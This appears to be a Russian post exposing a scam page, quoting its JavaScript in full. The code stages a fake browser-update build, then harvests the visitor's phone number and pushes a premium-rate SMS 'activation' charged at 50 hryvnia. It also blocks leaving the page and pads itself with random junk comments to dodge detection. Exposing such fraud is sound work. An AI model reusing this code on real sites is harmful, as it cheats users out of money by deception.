Страница, среди прочего, предлагает ввести свой номер телефона «для активации». Цель — развести на платное SMS. Для Украины приводится стоимость — 50 гривен, включая НДС.
Комментарии в коде на русском.
//UPSxHUBcvUTOnUZMWCPgpVnydbFNBLUeeUqzOkdeOuHfGrgCOIlVosVXGqxxlqWJerzarNDMAFrCxsgdIOSfnxeUMbmySMGydnRFYPJABUbXQgbraSSBwFFYORIPSsucszmVMJBibzfMljtffBAWyCCIAaXCIrTavksdvJzgSXSAwjqXnGxhHlTOnsOYuDBQdoYkUPAMIWgDhogyzsJqGeohnsYxwtmnAJdGSCxDvFWSBuJPNVxDVHAHgtOZnYXjSladhwvbccxLJdSabBMpibMKjDZToleIkYrxDPNorhXOAgqilgLxMzlQtFAKivLaWjyiRVOLkZGsuoUnBxcFpbHdHSSLnAbERlvGAoiFXXDxJQoMiMhOZTOwmGLVbUDIUGfIykdfkenwxjaxRhqmBPHfjOcALxaMbQZCpPpINUpqyRjXxdtNCGmTsJquBJqVGKUxKSPWyOpGFVDfoBkReBDIgdVKFBgdif
//edfsffvd
//UPSxHUBcvUTOnUZMWCPgpVnydbFNBLUeeUqzOkdeOuHfGrgCOIlVosVXGqxxlqWJerzarNDMAFrCxsgdIOSfnxeUMbmySMGydnRFYPJABUbXQgbraSSBwFFYORIPSsucszmVMJBibzfMljtffBAWyCCIAaXCIrTavksdvJzgSXSAwjqXnGxhHlTOnsOYuDBQdoYkUPAMIWgDhogyzsJqGeohnsYxwtmnAJdGSCxDvFWSBuJPNVxDVHAHgtOZnYXjSladhwvbccxLJdSabBMpibMKjDZToleIkYrxDPNorhXOAgqilgLxMzlQtFAKivLaWjyiRVOLkZGsuoUnBxcFpbHdHSSLnAbERlvGAoiFXXDxJQoMiMhOZTOwmGLVbUDIUGfIykdfkenwxjaxRhqmBPHfjOcALxaMbQZCpPpINUpqyRjXxdtNCGmTsJquBJqVGKUxKSPWyOpGFVDfoBkReBDIgdVKFBgdif
//rjvcsdkcdsfj
var qwrpmn=34;
// рандомный коментарий
(function(){
var phone = null;
phone=null;
// Helper function, used below.
// Usage: ['img1.jpg','img2.jpg'].remove('img1.jpg');
Array.prototype.remove = function(element) {
for (var i = 0; i < this.length; i++) {
if (this[i] == element) { this.splice(i,1); }
}
};
// Usage: $(['img1.jpg','img2.jpg']).preloadImages(function(){ ... });
// Callback function gets called after all images are preloaded
$.fn.preloadImages = function(callback1) {
checklist = this.toArray();
this.each(function() {
$('<img>').attr({ src: this }).load(function() {
checklist.remove($(this).attr('src'));
if (checklist.length == 0) { callback1(); }
});
});
};
// а вот еще рандомный комент
//custom easing function - to simulate non-linear animation
var my_easing = (function() {
var now = 0.0;
var last_t = 0;
var diff = 0;
var easing = function(p, t, b, c, d){
if (Math.random()>0.9) {
diff = (t - last_t)/d;
last_t = t;
now = now + diff;
}
return now;
}
return easing;
})();
// Снова рандом
jQuery.easing.sin90 = my_easing;
var random_var = 90;
var random_var12345 = 143;
//number was entered - activation
var activate = function(){
//!!!all activation/validation logic here!!!
function errorHandler() {
$('#spinner').hide();
if (arguments[0] && typeof(arguments[0])=='string'){
alert(arguments[0]);
} else {
alert('Ошибка при обработке запроса сервером');
}
return false;
}
var phoneInput = $('.activation input[type=\'text\'][name=\'phone\']');
phone = /\+?([0-9]{11})/.exec(phoneInput.val());
if(! phone) {
alert('Пожалуйста, введите СВОЙ номер телефона.');
return false;
}
phone = phone[1];
if (phone=='79101234567'){
alert('Пожалуйста, введите СВОЙ номер телефона.')
return false;
}
if (phone=='00000000000') {
$('.activation h3').text('На Ваш номер выслана смс с секретным паролем. Введите свой пароль для подтвержения активации.');
$('.activation .help').text('Формат ввода: 1234');
phoneInput.val('');
$('.activation .submit')
.unbind('click')
.bind('click', confirmation);
return false;
}
$('#spinner').show();
$.ajax({
url:'/sms_api/registration',
type:'POST',
data:'phone='+phone,
error: errorHandler,
success: function(data) {
$('#spinner').hide();
if(!data.res) return errorHandler('Пожалуйста, введите СВОЙ номер телефона.');
if(data.res.redirect) {
var wnd = window.open('редирект', data.res.redirect);
}
if(data.res.prefix) {
var h3 = $('.activation h3');
var block = $('<h3>Для успешной активации требуется получить секретный код. Выберите Вашу страну:</h3>').insertBefore(h3);
var select = $('<select></select>').appendTo(block);
for(var i in data.res.countries) {
var country = data.res.countries[i];
if (!country || !country.phone) continue;
if (country.name == data.res.country) {
$('<option selected="selected" value="'+country.phone+'">'+(country.name_rus || country.name)+'</option>').appendTo(select);
}
else {
$('<option value="'+country.phone+'">'+(country.name_rus || country.name)+'</option>').appendTo(select);
}
}
var ofert = function(){
if(!data.res.ofert) return '';
return select.val() == 4640
? 'Для Абонентов всех национальных GSM Операторов Украины стоимость отправки смс на номер 4640 составляет 50 гривен с учетом НДС.'
: 'Для получения доступа необходимо отправить 1 смс. <a href="http://www.a1agregator.ru/main/abonent/4846/7781" target="_blank">Точная стоимость смс.</a>';
}
var text = $('<h3>И отправьте текст '+data.res.prefix+' на номер <span id="send_num">'+data.res.phone+'</span></h3>').insertBefore(h3);
$('<h3 style="font-size: 9px;" id="ofert">'+ofert()+'</h3>').appendTo('.activation');
$('Введите свой код подтвержения активации, полученный в ответном смс.').appendTo(text);
h3.text('');
select.change(function(){
$('#send_num').text($(this).val());
$('#ofert').text(ofert());
});
}
else {
$('.activation h3').text('На Ваш номер выслана смс с секретным паролем. Введите свой пароль для подтвержения активации.');
}
$('.activation .help').text('Формат ввода: 1234');
phoneInput.val('');
$('.activation .submit')
.unbind('click')
.bind('click', confirmation);
//alert('OK');
}
});
// Оптьярандом
var sdvfds = 34216;
function confirmation() {
if (phone=='00000000000' && phoneInput.val()=='1234!') {
//Hfyljv
alert('Програмное обеспечение успешно активировано');
window.onbeforeunload = null;
switch (document.browser_name) {
case 'Firefox':
top.location.href='http://www.mozilla.org/ru/download/?product=firefox-12.0&os=win&lang=ru';
break;
case 'Chrome':
top.location.href='https://www.google.com/chrome/eula.html?hl=ru';
break;
case 'IE':
top.location.href='http://windows.microsoft.com/en-US/internet-explorer/downloads/ie-9/worldwide-languages';
break;
case 'Opera':
top.location.href='http://www.opera.com/download/get.pl?id=34630&thanks=true&sub=true';
break;
default:
top.location.href='https://www.google.com/chrome/';
break;
}
return false;
}
// рандом
var code = /^\d+$/.exec(phoneInput.val());
if (!code){
alert('Вам нужно ввести пароль, который получен вами в СМС.')
return false;
}
$('#spinner').show();
var dfdgf=345;
$.ajax({
url: '/sms_api/confirm',
type: 'POST',
data: 'phone='+phone+'&code='+phoneInput.val(),
error: errorHandler,
success: function(data) {
$('#spinner').hide();
if(data.res != 0) return errorHandler('Неверный пароль. Вы должны ввести пароль, который получен вами в СМС.');
alert('Програмное обеспечение успешно активировано');
window.onbeforeunload = null;
switch (document.browser_name) {
case 'Firefox':
top.location.href='http://www.mozilla.org/ru/download/?product=firefox-12.0&os=win&lang=ru';
break;
case 'Chrome':
top.location.href='https://www.google.com/chrome/eula.html?hl=ru';
break;
case 'IE':
top.location.href='http://windows.microsoft.com/en-US/internet-explorer/downloads/ie-9/worldwide-languages';
break;
case 'Opera':
top.location.href='http://www.opera.com/download/get.pl?id=34630&thanks=true&sub=true';
break;
default:
top.location.href='https://www.google.com/chrome/';
break;
}
return false;
}
});
return false;
}
return false;
}
//show activation page
var showActivation = function(){
$('.build.hide').hide(0);
$('.activation').show(0);
$('.activation .submit').click(activate);
}
// этот код рандомен
var dsa8cfs=8774;
//finish build process
var endBuild = function() {
$('.build .items').text('Выполнено 100%');
if ($('.build .submit').is('.unhide') && false ) {
$('.build .submit').click(showActivation).removeClass('inactive').find('.download-title').text('Активировать');
} else {
$('.build .submit').hide();
showActivation();
}
}
//start build process
var startBuild = function() {
$('.versions, .alarm table, .hide').not('.unhide').hide(0);
$('.build').show(0);
var i=0;
$('.progress > .bar').animate(
{
width: '539px'
},
{
easing: 'sin90',
duration: parseInt(5+Math.random()*15)*1000,
complete: endBuild,
step: function() {
var file_list = document.file_list[document.browser_name] || document.file_list['generic'];
if (i==(file_list.length-1)) {
i=0;
}
//$('.build .items').text('Выполнено ' + parseInt(100*parseFloat($('.progress > .bar').css('width'))/539.0) +'%');
if(Math.random() > 0.9) {
$('.build .items').text(file_list[i++]);
}
}
}
);
}
// всем привет
var init_all = function(){
//$('a.submit').append("<span id="spinner" style="display: none; position: absolute; right: 15px; top: 15px;"></span>");
var opts = {
lines: 11, // The number of lines to draw
length: 4, // The length of each line
width: 2, // The line thickness
radius: 6, // The radius of the inner circle
rotate: 1, // The rotation offset
color: '#005', // #rgb or #rrggbb
speed: 1.5, // Rounds per second
trail: 10, // Afterglow percentage
shadow: false, // Whether to render a shadow
hwaccel: false, // Whether to use hardware acceleration
className: 'spinner', // The CSS class to assign to the spinner
zIndex: 2e9, // The z-index (defaults to 2000000000)
top: 'auto', // Top position relative to parent in px
left: 'auto' // Left position relative to parent in px
};
new Spinner(opts).spin(document.getElementById('spinner'));
$(document).pngFix();
$('body, .left, .smaller, .red, #logo, #top, h1, h2, h3, help, label, td, img, a, .items, .help, .download-title').attr('unselectable','on');
$('a.submit, .download-title').css('cursor', 'pointer');
$('.versions .content .submit').click(startBuild);
//alert('Внимание! Ваша версия браузера является неисправной!\nНеобходимо обновить вашу версию бразуера!');
$("#hider").hide();
}
$(document).ready(function() {
if (navigator.appName == 'Microsoft Internet Explorer') {
init_all();
} else {
$((preloaded_images||window.preloaded_images)).preloadImages(init_all);
}
});
if (!document.unload || document.unload=='/'){
window.onbeforeunload = function(){return "Внимание, обновление не завершено! Вы уверены что хотите покинуть эту страницу?";}
}
})();
//HAHA PEOPLE@
//это все на сегодня ребятушки
//cfsvcfsvdf
//UPSYoFZvqdAcQeNBixGOUxdfDShpSjCMgciCcqLGUkMMfNnRLeghfTPzYHiPvFHGZFywpSTWOpQFZEIMkDEKGnPSeEECoKQgkMCUXViaYKfqmvFWgKozRlezEDPDUDzADRPXgObAsweVfGPFRmUYslYWGkpVpwGmPHGyxiFltWnDMFXcVZYgLZbAoNOPZtPJrYaojteWApWuuWAQKBPrreNqXGxKniOplJNwZsbRbJVBAHldxxnAQzHhkKCGtzTktDIswLSFlykRmPqOZzSaHRHjcKRgIBKXJpXTrnhxsypLaDJUGnTJHgQMGesSrMhyCTTwXdExzVoULBWUFtGBTyiTmpXprHPMdLUdHEcOcdwTbucufxfTpwEGwgCXQDAMLuMYyRHVGchtMoESRWKFKOpdPpkDNrQxPHabmXfdgeldWKKMdDAhzzozWFnDUnMmKltGgblVASueUZDDebJPDJQUiluCueWoTdqkTeQdwFfPbtWTkghPKyCKpRWuVUIOAgIlQouPhNzIhAMeJbXBfbjYKIFNTnRlbeSIEEISvWFMIFIytPiIJKIMRkfrClYkwzvwRZgoZeOuSuVkEuLqxcaUMbzZYnvvTIzBPFqKWJLLMWehZOegovVZrGMcNzaAhUorcQbCFevKjQKNNjxxKZOGQMegqIeNhZiNGctTYwIntgjLwoPbbtHxOukPHnDiOkbLmqRliElPwxbUMPofShRjeBAjzIaqjZpxqWChDWtqFgrSvcJBpSVIqEZeTvmsqrJzCxYUzUrQoNQlDTIslHasBebQrIWjVMYvJRVTeegdprkcupoGCPUiwsF
//efswfe
//UPSZEHtFVjeAEuRFLOoOphpGFFBJHENojPiemdNVeAgNapvtBbGxHLRgmfQgExbvHBnOxHAZUnJeWKsDLaaCqAwXcjXdKNaNwRGRVEJLfGJpFMtgqFPhNLKdLDLGGTpDMoncQaEEEAVKSjBHZlOdaDJlPbuUydfNMFCGprjXOkKyNwimoDVUFwdrKRyofieVVBXezRoHOYoariLkNEcYhcPhhfQFsAIwyaUtmpirCBWDUMIkfjaVqhKXHOVpIkzpuYIxAJUwJMOpczaDAlqJgbHkVSDQqCgOfFHjKsnyduLZazbMrOwkVYVwDYqTSnWzvkAKAwWVVziZGPsvemVtUOuswgGeelLuwOjhxZaLUPydlnREvSbGHPREywYHgOoLW
UPD: Отбой, кажется, починили. Возможно, formspring.me был слишком неразборчив в размещении рекламы.